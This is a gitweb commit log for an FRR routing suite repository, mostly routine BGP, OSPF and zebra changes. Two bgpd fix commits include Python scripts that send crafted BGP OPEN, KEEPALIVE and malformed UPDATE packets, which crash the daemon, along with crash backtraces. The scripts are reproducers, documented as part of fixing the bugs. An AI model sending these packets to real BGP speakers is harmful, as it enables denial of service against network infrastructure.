]> git.puffer.fish Git - matthieu/frr.git/log
matthieu/frr.git
17 months agobgpd: Treat EOR as withdrawn to avoid unwanted handling of malformed attrs
Donatas Abraitis [Fri, 27 Oct 2023 08:56:45 +0000 (11:56 +0300)]
bgpd: Treat EOR as withdrawn to avoid unwanted handling of malformed attrs

Treat-as-withdraw, otherwise if we just ignore it, we will pass it to be
processed as a normal UPDATE without mandatory attributes, that could lead
to harmful behavior. In this case, a crash for route-maps with the configuration
such as:

```
router bgp 65001
 no bgp ebgp-requires-policy
 neighbor 127.0.0.1 remote-as external
 neighbor 127.0.0.1 passive
 neighbor 127.0.0.1 ebgp-multihop
 neighbor 127.0.0.1 disable-connected-check
 neighbor 127.0.0.1 update-source 127.0.0.2
 neighbor 127.0.0.1 timers 3 90
 neighbor 127.0.0.1 timers connect 1
 !
 address-family ipv4 unicast
  neighbor 127.0.0.1 addpath-tx-all-paths
  neighbor 127.0.0.1 default-originate
  neighbor 127.0.0.1 route-map RM_IN in
 exit-address-family
exit
!
route-map RM_IN permit 10
 set as-path prepend 200
exit
```

Send a malformed optional transitive attribute:

```
import socket
import time

OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02"
b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02"
b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00"
b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d"
b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01"
b"\x80\x00\x00\x00")

KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\xff\xff\xff\xff\x00\x13\x04")

UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff002b0200000003c0ff00010100eb00ac100b0b001ad908ac100b0b")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.2', 179))
s.send(OPEN)
data = s.recv(1024)
s.send(KEEPALIVE)
data = s.recv(1024)
s.send(UPDATE)
data = s.recv(1024)
time.sleep(100)
s.close()
```

Reported-by: Iggy Frankovic <iggyfran@amazon.com>
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
17 months agoMerge pull request #14661 from opensourcerouting/feature/enable_enforce_first_as_by_d...
Russ White [Tue, 31 Oct 2023 14:40:23 +0000 (10:40 -0400)]
Merge pull request #14661 from opensourcerouting/feature/enable_enforce_first_as_by_default

bgpd: Enable `enforce-first-as` by default

17 months agoMerge pull request #14648 from donaldsharp/import_no_no_no
Russ White [Tue, 31 Oct 2023 14:34:30 +0000 (10:34 -0400)]
Merge pull request #14648 from donaldsharp/import_no_no_no

bgpd: combine import_check_table and nexthop_check_table

17 months agoMerge pull request #14343 from pguibert6WIND/bgp_label_manual_allocate_label_mgr
Russ White [Tue, 31 Oct 2023 14:31:11 +0000 (10:31 -0400)]
Merge pull request #14343 from pguibert6WIND/bgp_label_manual_allocate_label_mgr

Bgp label manual allocate label mgr

17 months agoMerge pull request #14691 from LabNConsulting/fix-mgmt-msg-valgrind-errors
Donald Sharp [Mon, 30 Oct 2023 20:53:58 +0000 (16:53 -0400)]
Merge pull request #14691 from LabNConsulting/fix-mgmt-msg-valgrind-errors

lib: mgmt_msg: fix a valgrind memleak

17 months agoMerge pull request #14689 from LabNConsulting/topotest-with-valgrind-and-gdb
Donald Sharp [Mon, 30 Oct 2023 20:51:32 +0000 (16:51 -0400)]
Merge pull request #14689 from LabNConsulting/topotest-with-valgrind-and-gdb

tests: add gdb integration with valgrind

18 months agoMerge pull request #14688 from opensourcerouting/fix/ospf_spacing_nit
Mark Stapp [Mon, 30 Oct 2023 12:49:03 +0000 (08:49 -0400)]
Merge pull request #14688 from opensourcerouting/fix/ospf_spacing_nit

ospfd, ospf6d: Fix spacing nit for `show ... summary-address` command

18 months agotests: add gdb integration with valgrind
Christian Hopps [Mon, 30 Oct 2023 07:37:52 +0000 (03:37 -0400)]
tests: add gdb integration with valgrind

Allows you to run daemons under valgrind integrated with gdb. When daemons are
run with the ``--gdb-daemons/--gdb-routers`` options they will be wired up to
valgrind using vgdb (valgrind tool) so gdb will stop when valgrind errors are
encountered.

Signed-off-by: Christian Hopps <chopps@labn.net>
18 months agolib: mgmt_msg: fix a valgrind memleak
Christian Hopps [Mon, 30 Oct 2023 07:30:05 +0000 (03:30 -0400)]
lib: mgmt_msg: fix a valgrind memleak

- Free the outbound stream on destroy.

Signed-off-by: Christian Hopps <chopps@labn.net>
18 months agoMerge pull request #13576 from chiragshah6/mdev1
Donatas Abraitis [Mon, 30 Oct 2023 06:55:49 +0000 (08:55 +0200)]
Merge pull request #13576 from chiragshah6/mdev1

zebra:returns empty dict when evpn is disabled II

18 months agoospfd, ospf6d: Fix spacing nit for `show ... summary-address` command
Donatas Abraitis [Mon, 30 Oct 2023 06:39:21 +0000 (08:39 +0200)]
ospfd, ospf6d: Fix spacing nit for `show ... summary-address` command

```
r1# sh ipv6 ospf6 summary-address
VRF Name: default
aggregation delay interval :5(in seconds)
```

Just hit this random and looks ugly, let's fix it.

Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
18 months agoMerge pull request #14681 from chiragshah6/pbr_dev
Donatas Abraitis [Mon, 30 Oct 2023 06:30:33 +0000 (08:30 +0200)]
Merge pull request #14681 from chiragshah6/pbr_dev

zebra: display ptmStatus order in interface json

18 months agoMerge pull request #14635 from opensourcerouting/fix/ospf6d_loopback_cost
mobash-rasool [Mon, 30 Oct 2023 04:19:58 +0000 (09:49 +0530)]
Merge pull request #14635 from opensourcerouting/fix/ospf6d_loopback_cost

ospf6d: Set loopback interface cost to 0

18 months agozebra: display ptmStatus order in interface json
Sindhu Parvathi Gopinathan [Wed, 24 Aug 2022 16:17:57 +0000 (09:17 -0700)]
zebra: display ptmStatus order in interface json

Display ptmStatus in correct order in show interface json
output.

Signed-off-by: Sindhu Parvathi Gopinathan's <sgopinathan@nvidia.com>
18 months agozebra:returns empty dict when evpn is disabled II
Sindhu Parvathi Gopinathan [Tue, 4 Apr 2023 12:38:28 +0000 (05:38 -0700)]
zebra:returns empty dict when evpn is disabled II

This is addressing remaining places returning
empty dict, earlier PR-13214 addressed few places.

Code has been changed to return {} for all the evpn clis
when evpn is disabled or no entry available.

```
cumulus@r2:mgmt:~$ sudo vtysh -c "show evpn json"
cumulus@r2:mgmt:~$
```

After Fix:-
```
cumulus@r1:mgmt:~$ sudo vtysh -c "show evpn json"
{
}
cumulus@r1:mgmt:~$
```

Ticket:#3417955

Issue:3417955

Testing: UT done

Signed-off-by: Sindhu Parvathi Gopinathan's <sgopinathan@nvidia.com>
Signed-off-by: Chirag Shah <chirag@nvidia.com>
18 months ago*: modify empty json helper function
Chirag Shah [Sun, 29 Oct 2023 18:20:37 +0000 (11:20 -0700)]
*: modify empty json helper function

Modify empty json object to take input obj
instead of allocating always one.

There are situation where in error condition or no data
case print empty json (`{}`) with already allocated

Signed-off-by: Chirag Shah <chirag@nvidia.com>
18 months agoMerge pull request #14665 from chiragshah6/pbr_dev
Donatas Abraitis [Sun, 29 Oct 2023 08:40:50 +0000 (10:40 +0200)]
Merge pull request #14665 from chiragshah6/pbr_dev

pbrd: fix show pbr map detail json

18 months agodoc: fix pbr map detail json
Chirag Shah [Fri, 27 Oct 2023 15:06:27 +0000 (08:06 -0700)]
doc: fix pbr map detail json

Fix the documentation for the pbr map command with
correct syntax.

Signed-off-by: Chirag Shah <chirag@nvidia.com>
18 months agopbrd: fix show pbr map detail json
Sindhu Parvathi Gopinathan [Mon, 23 Oct 2023 05:59:06 +0000 (22:59 -0700)]
pbrd: fix show pbr map detail json

'detail' and 'josn' keyword is given as an optional parameter
for cli arguments. Hence 'detail' keyword was consider as a
pbr 'name' for "show pbr map detail json" command.

Before Fix:

```
cumulus#
cumulus# show pbr map detail json
[
]
cumulus#
```

After Fix:
```
cumulus# show pbr map detail json
[
  {
    "name":"MAP1",
    "valid":false,
    "policies":[
      {
        "id":1,
        "sequenceNumber":10,
        "ruleNumber":309,
        "vrfUnchanged":false,
        "installed":false,
        "installedReason":"Invalid Src or Dst",
        "vrfName":"default"
      }
    ]
  }
]
cumulus#
```

Ticket:#3638600

Issue:3638600

Testing: UT done

Signed-off-by: Sindhu Parvathi Gopinathan's <sgopinathan@nvidia.com>
18 months agoMerge pull request #14662 from opensourcerouting/fix/drop_broken_tests
Donald Sharp [Fri, 27 Oct 2023 14:14:40 +0000 (10:14 -0400)]
Merge pull request #14662 from opensourcerouting/fix/drop_broken_tests

tests: Drop a couple unnecessary unit tests

18 months agoMerge pull request #14663 from LabNConsulting/chopps/grpc-utfix
Donatas Abraitis [Fri, 27 Oct 2023 12:36:07 +0000 (15:36 +0300)]
Merge pull request #14663 from LabNConsulting/chopps/grpc-utfix

tests: have unit-test check more paths for the grpc.so module

18 months agobgpd: Enable `enforce-first-as` by default
Donatas Abraitis [Thu, 26 Oct 2023 11:56:52 +0000 (14:56 +0300)]
bgpd: Enable `enforce-first-as` by default

It's been for a while disabled by default, but this seems reasonable to flip it.

We had `bgp enforce-first-as` as a global BGP knob to enable/disable this
behavior globally, later we introduced `enforce-first-as` per neighbor, with disabled
by default. Now let's enable this by default by bringing a global `bgp enforce-first-as`
command back.

Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
18 months agotests: Disable debug log for bgp_vpnv4_asbr.r2
Donatas Abraitis [Fri, 27 Oct 2023 11:08:10 +0000 (14:08 +0300)]
tests: Disable debug log for bgp_vpnv4_asbr.r2

For the same reason as we disable debug logs for CI everywhere.

Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
18 months agoMerge pull request #14664 from LabNConsulting/chopps/ly2-ld-fix
Donatas Abraitis [Fri, 27 Oct 2023 09:55:51 +0000 (12:55 +0300)]
Merge pull request #14664 from LabNConsulting/chopps/ly2-ld-fix

isisd: staticd: need to link directly against libyang

18 months agoisisd: staticd: need to link directly against libyang
Christian Hopps [Fri, 27 Oct 2023 02:51:08 +0000 (22:51 -0400)]
isisd: staticd: need to link directly against libyang

Signed-off-by: Christian Hopps <chopps@labn.net>
18 months agotests: have unit-test check more paths for the grpc.so module
Christian Hopps [Fri, 27 Oct 2023 01:39:13 +0000 (21:39 -0400)]
tests: have unit-test check more paths for the grpc.so module

Signed-off-by: Christian Hopps <chopps@labn.net>
18 months agobgpd: Drop unnecessary unit test for software-version capability
Donatas Abraitis [Thu, 26 Oct 2023 14:24:42 +0000 (17:24 +0300)]
bgpd: Drop unnecessary unit test for software-version capability

It's tested above, and was just copied from extended-nexthop as an example
which is broken too.

Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
18 months agotests: Drop broken unit test for extended-nexthop capability
Donatas Abraitis [Thu, 26 Oct 2023 14:20:28 +0000 (17:20 +0300)]
tests: Drop broken unit test for extended-nexthop capability

extended-nexthop capability can't be unset to interface-based peers.

Anyway, this is always silently ignored:

```
✖ [test] peer\capability extended-nexthop
► prepare: initialize bgp test environment
► case 01: set peer-flag [capability extended-nexthop] on [IP-TEST]
► error: execution of command [no neighbor IP-TEST capability extended-nexthop] has failed with code [13]
failed
```

Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
18 months agotests: Adopt ospf6_gr_topo1 tests for OSPFv3 loopback cost as 0
Donatas Abraitis [Tue, 24 Oct 2023 05:53:36 +0000 (08:53 +0300)]
tests: Adopt ospf6_gr_topo1 tests for OSPFv3 loopback cost as 0

Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
18 months agotests: Use igpMetric as 10 not 20, after OSPFv3 loopback cost changes
Donatas Abraitis [Mon, 23 Oct 2023 09:53:18 +0000 (12:53 +0300)]
tests: Use igpMetric as 10 not 20, after OSPFv3 loopback cost changes

Fixes: fa3140f7927838c432a02ee4f1c1847387b7be6d ("ospf6d: Set loopback interface cost to 0")
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
18 months agoospf6d: Set loopback interface cost to 0
Donatas Abraitis [Mon, 23 Oct 2023 08:24:12 +0000 (11:24 +0300)]
ospf6d: Set loopback interface cost to 0

https://www.rfc-editor.org/rfc/rfc5340.html#page-37 states:

If the interface type is point-
      to-multipoint or the interface is in the state Loopback, the
      global scope IPv6 addresses associated with the interface (if any)
      are copied into the intra-area-prefix-LSA with the PrefixOptions
      LA-bit set, the PrefixLength set to 128, and the metric set to 0.

Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
18 months agoMerge pull request #14609 from idryzhov/cfg-apply-remove-batches
Christian Hopps [Wed, 25 Oct 2023 17:43:44 +0000 (13:43 -0400)]
Merge pull request #14609 from idryzhov/cfg-apply-remove-batches

mgmtd, lib: remove batch ids from cfg apply reply

18 months agobgpd: combine import_check_table and nexthop_check_table
Donald Sharp [Tue, 24 Oct 2023 20:14:40 +0000 (16:14 -0400)]
bgpd: combine import_check_table and nexthop_check_table

In zebra, the import check table and the nexthop check tables
were combined.  This leaves an issue where when bgp happens
to have a tracked address in both the import check table
and the nexthop track table that are the same address.
When the the item is removed from one table the call
to remove it from zebra removes tracking for the other
table.

Combine the two tables together and keep track where
they came from for processing in bgpd.

Signed-off-by: Donald Sharp <sharpd@nvidia.com>
18 months agoMerge pull request #14651 from opensourcerouting/fix/bgpd_coverity_fqdn_capability
Russ White [Wed, 25 Oct 2023 11:24:04 +0000 (07:24 -0400)]
Merge pull request #14651 from opensourcerouting/fix/bgpd_coverity_fqdn_capability

bgpd: Drop unnecessary null-termination for fqdn

18 months agoMerge pull request #14645 from opensourcerouting/fix/crash_mp_reach_nlri
Russ White [Wed, 25 Oct 2023 11:21:25 +0000 (07:21 -0400)]
Merge pull request #14645 from opensourcerouting/fix/crash_mp_reach_nlri

bgpd: A couple more bgpd crashes on malformed attributes

18 months agotests: Check if OSPFv3 loopback interface gets cost as 0
Donatas Abraitis [Mon, 23 Oct 2023 08:15:37 +0000 (11:15 +0300)]
tests: Check if OSPFv3 loopback interface gets cost as 0

Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
18 months agobgpd: Drop unnecessary null-termination for fqdn
Donatas Abraitis [Wed, 25 Oct 2023 04:52:38 +0000 (07:52 +0300)]
bgpd: Drop unnecessary null-termination for fqdn

str[len] is already null terminated before:

```
if (len > BGP_MAX_HOSTNAME) {
memcpy(&str, data, BGP_MAX_HOSTNAME);
str[BGP_MAX_HOSTNAME] = '\0';
} else if (len) {
memcpy(&str, data, len);
str[len] = '\0';
}
```

CID: 1569357

Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
18 months agoMerge pull request #14639 from donaldsharp/zebra_nexthop_search_up
Russ White [Tue, 24 Oct 2023 20:13:20 +0000 (16:13 -0400)]
Merge pull request #14639 from donaldsharp/zebra_nexthop_search_up

zebra: Allow longer prefix matches for nexthops

18 months agoMerge pull request #14333 from fdumontet6WIND/bgp4v2_snmp
Donatas Abraitis [Tue, 24 Oct 2023 18:34:47 +0000 (21:34 +0300)]
Merge pull request #14333 from fdumontet6WIND/bgp4v2_snmp

bgpd: add support of traps for bgp4-mibv2

18 months agobgpd: fix new Formatting / Styling warning
Francois Dumontet [Wed, 11 Oct 2023 19:31:40 +0000 (21:31 +0200)]
bgpd: fix new Formatting / Styling warning

Signed-off-by: Francois Dumontet <francois.dumontet@6wind.com>
18 months agotests: add bgp4v2 MIB traps test
Francois Dumontet [Thu, 28 Sep 2023 10:06:53 +0000 (12:06 +0200)]
tests: add bgp4v2 MIB traps test

Signed-off-by: Francois Dumontet <francois.dumontet@6wind.com>
18 months agotests: add bgp4 MIB traps test
Francois Dumontet [Tue, 26 Sep 2023 12:18:25 +0000 (14:18 +0200)]
tests: add bgp4 MIB traps test

Signed-off-by: Francois Dumontet <francois.dumontet@6wind.com>
18 months agotests: lib add support of snmptrapd daemon
Francois Dumontet [Tue, 26 Sep 2023 12:07:00 +0000 (14:07 +0200)]
tests: lib add support of snmptrapd daemon

Signed-off-by: Francois Dumontet <francois.dumontet@6wind.com>
18 months agodoc: [no] bgp snmp traps <rfc4273|bgp4-mibv2>
Francois Dumontet [Tue, 5 Sep 2023 12:16:20 +0000 (14:16 +0200)]
doc: [no] bgp snmp traps <rfc4273|bgp4-mibv2>

update traps documentation

Signed-off-by: Philippe Guibert <philippe.guibert@6wind.com>
18 months agobgpd: add [no] bgp snmp traps bgp4-mibv2 command
Francois Dumontet [Wed, 30 Aug 2023 15:35:32 +0000 (17:35 +0200)]
bgpd: add [no] bgp snmp traps bgp4-mibv2 command

There is no command to choose to send or not the bgp4-mibv2 traps.
Since the MIB bgp4-mibv2 notification are redundant with MIB RFC4273
we added a command:
- [no] bgp snmp traps bgp4-mibv2

By default, the bgp4-mibv2 traps will be disabled, to prevent from
redundancy.

Signed-off-by: Francois Dumontet <francois.dumontet@6wind.com>
18 months agobgpd: add snmp traps for bgp4-mibv2
Francois Dumontet [Wed, 23 Aug 2023 08:34:13 +0000 (10:34 +0200)]
bgpd: add snmp traps for bgp4-mibv2

This commit add the support of traps for bgp4-mibv2.
It is conformant to draft-ietf-idr-bgp4-mibv2-11.
The following traps are supported:
- bgp4V2EstablishedNotification
- bgp4V2BackwardTransitionNotification

Signed-off-by: Francois Dumontet <francois.dumontet@6wind.com>
18 months agobgpd: add [no] bgp snmp traps rfc4273 command
Francois Dumontet [Tue, 29 Aug 2023 15:53:26 +0000 (17:53 +0200)]
bgpd: add [no] bgp snmp traps rfc4273 command

There is no cli command to prevent the router to send traps
implemented in the rfc4273. If not done, when introducing
the traps from bgp4v2mib, traps will be send for each of
the two mibs: there will be redundancy in the sent information.

Add a new command:
- [no] bgp snmp traps rfc4273

Using this command will allow or not the notification of
the following traps:
- bgpEstablishedNotification
- bgpBackwardTransNotification

Signed-off-by: Francois Dumontet <francois.dumontet@6wind.com>
18 months agobgpd: Check mandatory attributes more carefully for UPDATE message
Donatas Abraitis [Mon, 23 Oct 2023 20:34:10 +0000 (23:34 +0300)]
bgpd: Check mandatory attributes more carefully for UPDATE message

If we send a crafted BGP UPDATE message without mandatory attributes, we do
not check if the length of the path attributes is zero or not. We only check
if attr->flag is at least set or not. Imagine we send only unknown transit
attribute, then attr->flag is always 0. Also, this is true only if graceful-restart
capability is received.

A crash:

```
bgpd[7834]: [TJ23Y-GY0RH] 127.0.0.1 Unknown attribute is received (type 31, length 16)
bgpd[7834]: [PCFFM-WMARW] 127.0.0.1(donatas-pc) rcvd UPDATE wlen 0 attrlen 20 alen 17
BGP[7834]: Received signal 11 at 1698089639 (si_addr 0x0, PC 0x55eefd375b4a); aborting...
BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_backtrace_sigsafe+0x6d) [0x7f3205ca939d]
BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_signal+0xf3) [0x7f3205ca9593]
BGP[7834]: /usr/local/lib/libfrr.so.0(+0xf5181) [0x7f3205cdd181]
BGP[7834]: /lib/x86_64-linux-gnu/libpthread.so.0(+0x12980) [0x7f3204ff3980]
BGP[7834]: /usr/lib/frr/bgpd(+0x18ab4a) [0x55eefd375b4a]
BGP[7834]: /usr/local/lib/libfrr.so.0(route_map_apply_ext+0x310) [0x7f3205cd1290]
BGP[7834]: /usr/lib/frr/bgpd(+0x163610) [0x55eefd34e610]
BGP[7834]: /usr/lib/frr/bgpd(bgp_update+0x9a5) [0x55eefd35c1d5]
BGP[7834]: /usr/lib/frr/bgpd(bgp_nlri_parse_ip+0xb7) [0x55eefd35e867]
BGP[7834]: /usr/lib/frr/bgpd(+0x1555e6) [0x55eefd3405e6]
BGP[7834]: /usr/lib/frr/bgpd(bgp_process_packet+0x747) [0x55eefd345597]
BGP[7834]: /usr/local/lib/libfrr.so.0(event_call+0x83) [0x7f3205cef4a3]
BGP[7834]: /usr/local/lib/libfrr.so.0(frr_run+0xc0) [0x7f3205ca10a0]
BGP[7834]: /usr/lib/frr/bgpd(main+0x409) [0x55eefd2dc979]
```

Sending:

```
import socket
import time

OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02"
b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02"
b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00"
b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d"
b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01"
b"\x80\x00\x00\x00")

KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\xff\xff\xff\xff\x00\x13\x04")

UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff003c0200000014ff1f001000040146464646460004464646464646664646f50d05800100010200ffff000000")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.2', 179))
s.send(OPEN)
data = s.recv(1024)
s.send(KEEPALIVE)
data = s.recv(1024)
s.send(UPDATE)
data = s.recv(1024)
time.sleep(1000)
s.close()
```

Reported-by: Iggy Frankovic <iggyfran@amazon.com>
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
18 months agobgpd: Handle MP_REACH_NLRI malformed packets with session reset
Donatas Abraitis [Fri, 20 Oct 2023 14:49:18 +0000 (17:49 +0300)]
bgpd: Handle MP_REACH_NLRI malformed packets with session reset

Avoid crashing bgpd.

```
(gdb)
bgp_mp_reach_parse (args=<optimized out>, mp_update=0x7fffffffe140) at bgpd/bgp_attr.c:2341
2341 stream_get(&attr->mp_nexthop_global, s, IPV6_MAX_BYTELEN);
(gdb)
stream_get (dst=0x7fffffffe1ac, s=0x7ffff0006e80, size=16) at lib/stream.c:320
320 {
(gdb)
321 STREAM_VERIFY_SANE(s);
(gdb)
323 if (STREAM_READABLE(s) < size) {
(gdb)
34   return __builtin___memcpy_chk (__dest, __src, __len, __bos0 (__dest));
(gdb)

Thread 1 "bgpd" received signal SIGSEGV, Segmentation fault.
0x00005555556e37be in route_set_aspath_prepend (rule=0x555555aac0d0, prefix=0x7fffffffe050,
    object=0x7fffffffdb00) at bgpd/bgp_routemap.c:2282
2282 if (path->attr->aspath->refcnt)
(gdb)
```

With the configuration:

```
 neighbor 127.0.0.1 remote-as external
 neighbor 127.0.0.1 passive
 neighbor 127.0.0.1 ebgp-multihop
 neighbor 127.0.0.1 disable-connected-check
 neighbor 127.0.0.1 update-source 127.0.0.2
 neighbor 127.0.0.1 timers 3 90
 neighbor 127.0.0.1 timers connect 1
 address-family ipv4 unicast
  redistribute connected
  neighbor 127.0.0.1 default-originate
  neighbor 127.0.0.1 route-map RM_IN in
 exit-address-family
!
route-map RM_IN permit 10
 set as-path prepend 200
exit
```

Reported-by: Iggy Frankovic <iggyfran@amazon.com>
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
18 months agoMerge pull request #14540 from opensourcerouting/feature/bgpd_handle_fqdn_capability_...
Russ White [Tue, 24 Oct 2023 10:23:32 +0000 (06:23 -0400)]
Merge pull request #14540 from opensourcerouting/feature/bgpd_handle_fqdn_capability_via_dynamic_capability

bgpd: Handle FQDN capability using dynamic capabilities

18 months agoMerge pull request #13979 from gpnaveen/bgp_unique_rid
Russ White [Tue, 24 Oct 2023 10:09:58 +0000 (06:09 -0400)]
Merge pull request #13979 from gpnaveen/bgp_unique_rid

tests: Adding a bgp router id chaos test case.

18 months agoMerge pull request #14629 from mjstapp/zebra_debug_netlink_ifname
Donatas Abraitis [Tue, 24 Oct 2023 07:09:45 +0000 (10:09 +0300)]
Merge pull request #14629 from mjstapp/zebra_debug_netlink_ifname

zebra: debug ifname in netlink link debugs

18 months agoMerge pull request #14634 from LabNConsulting/chopps/gdb-use-emacs
Donatas Abraitis [Tue, 24 Oct 2023 05:58:40 +0000 (08:58 +0300)]
Merge pull request #14634 from LabNConsulting/chopps/gdb-use-emacs

tests: add --gdb-use-emacs option

18 months agozebra: Allow longer prefix matches for nexthops
Donald Sharp [Thu, 19 Oct 2023 20:38:12 +0000 (16:38 -0400)]
zebra: Allow longer prefix matches for nexthops

Zebra currently does a shortest prefix match for
resolving nexthops for a prefix.  This is typically
an ok thing to do but fails in several specific scenarios.
If a nexthop matches to a route that is not usable, nexthop
resolution just gives up and refuses to use that particular
route.  For example if zebra currently has a covering prefix
say a 10.0.0.0/8.  And about the same time it receives a
10.1.0.0/16 ( a more specific than the /8 ) and another
route A, who's nexthop is 10.1.1.1.  Imagine the 10.1.0.0/16
is processed enough to know we want to install it and the
prefix is sent to the dataplane for installation( it is queued )
and then route A is processed, nexthop resolution will fail
and the route A will be left in limbo as uninstallable.

Let's modify the nexthop resolution code in zebra such that
if a nexthop's most specific match is unusable, continue looking
up the table till we get to the 0.0.0.0/0 route( if it's even
installed ).  If we find a usable route for the nexthop accept
it and use it.

The bgp_default_originate topology test is frequently failing
with this exact problem:

B>* 0.0.0.0/0 [200/0] via 192.168.1.1, r2-r1-eth0, weight 1, 00:00:21
B   1.0.1.17/32 [200/0] via 192.168.0.1 inactive, weight 1, 00:00:21
B>* 1.0.2.17/32 [200/0] via 192.168.1.1, r2-r1-eth0, weight 1, 00:00:21
C>* 1.0.3.17/32 is directly connected, lo, 00:02:00
B>* 1.0.5.17/32 [20/0] via 192.168.2.2, r2-r3-eth1, weight 1, 00:00:32
B>* 192.168.0.0/24 [200/0] via 192.168.1.1, r2-r1-eth0, weight 1, 00:00:21
B   192.168.1.0/24 [200/0] via 192.168.1.1 inactive, weight 1, 00:00:21
C>* 192.168.1.0/24 is directly connected, r2-r1-eth0, 00:02:00
C>* 192.168.2.0/24 is directly connected, r2-r3-eth1, 00:02:00
B>* 192.168.3.0/24 [20/0] via 192.168.2.2, r2-r3-eth1, weight 1, 00:00:32
B   198.51.1.1/32 [200/0] via 192.168.0.1 inactive, weight 1, 00:00:21
B>* 198.51.1.2/32 [20/0] via 192.168.2.2, r2-r3-eth1, weight 1, 00:00:32

Notice that the 1.0.1.17/32 route is inactive but the nexthop
192.168.0.1 is covered by both the 192.168.0.0/24 prefix( shortest match )
*and* the 0.0.0.0/0 route ( longest match ).  When looking at the logs
the 1.0.1.17/32 route was not being installed because the matching
route was not in a usable state, which is because the 192.168.0.0/24
route was in the process of being installed.

Signed-off-by: Donald Sharp <sharpd@nvidia.com>
18 months agoMerge pull request #14628 from opensourcerouting/fix/bgpd_conditional_advertisement_s...
Donald Sharp [Mon, 23 Oct 2023 11:41:07 +0000 (07:41 -0400)]
Merge pull request #14628 from opensourcerouting/fix/bgpd_conditional_advertisement_static_routes_withdrawn

bgpd: Do not suppress conditional advertisement updates if triggered

18 months agotests: add --gdb-use-emacs option
Christian Hopps [Mon, 23 Oct 2023 09:10:50 +0000 (05:10 -0400)]
tests: add --gdb-use-emacs option

When specified `--gdb-use-emacs` will launch the daemon with gdb inside a
running emacs server using `emacsclient --eval` commands.

Signed-off-by: Christian Hopps <chopps@labn.net>
18 months agoMerge pull request #14631 from idryzhov/nb-remove-comment
Donatas Abraitis [Sun, 22 Oct 2023 08:21:40 +0000 (11:21 +0300)]
Merge pull request #14631 from idryzhov/nb-remove-comment

lib: remove incorrect comment from northbound

18 months agolib: remove incorrect comment from northbound
Igor Ryzhov [Sat, 21 Oct 2023 09:56:49 +0000 (12:56 +0300)]
lib: remove incorrect comment from northbound

This was true when we had only a CLI for configuration. Now mgmtd has a
public frontend interface that can be used by external applications, and
they can send invalid requests that lead to errors.

This is still true for CLI though, so the same comment still stays in
`nb_cli_apply_changes_internal`.

Signed-off-by: Igor Ryzhov <iryzhov@nfware.com>
18 months agozebra: debug ifname in netlink link debugs
Mark Stapp [Fri, 20 Oct 2023 15:20:25 +0000 (11:20 -0400)]
zebra: debug ifname in netlink link debugs

Print the ifname with netlink LINK debug output.

Signed-off-by: Mark Stapp <mjs@labn.net>
18 months agotests: Check if BGP conditional advertisement works fine with static routes
Donatas Abraitis [Thu, 19 Oct 2023 17:25:23 +0000 (20:25 +0300)]
tests: Check if BGP conditional advertisement works fine with static routes

If we modify the prefix-list that is used to define the routes to be
advertised, all of them MUST be advertised.

Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
18 months agobgpd: Do not suppress conditional advertisement updates if triggered
Donatas Abraitis [Fri, 20 Oct 2023 08:59:59 +0000 (11:59 +0300)]
bgpd: Do not suppress conditional advertisement updates if triggered

If we have a prefix-list with one entry, and after some time we append a prefix-list
with some more additional entries, conditional advertisement is triggered, and the
old entries are suppressed (because they look identical as sent before).

Hence, the old entries are sent as withdrawals and only new entries sent as updates.

Force re-sending all BGP updates for conditional advertisement. The same is done
for route-refresh, and/or soft clear operations.

Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
18 months agodoc: Add a new command to resend dynamic capabilities
Donatas Abraitis [Fri, 6 Oct 2023 14:56:36 +0000 (17:56 +0300)]
doc: Add a new command to resend dynamic capabilities

For now it includes only FQDN capability, because other capabilities can be
resend using specific knobs.

Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
18 months agobgpd: Add `clear bgp capabilities` command to resend some dynamic capabilities
Donatas Abraitis [Fri, 6 Oct 2023 14:41:18 +0000 (17:41 +0300)]
bgpd: Add `clear bgp capabilities` command to resend some dynamic capabilities

For instance, it's not possible to resend FQDN capability without resetting
the session, so let's create some more elegant way to do that.

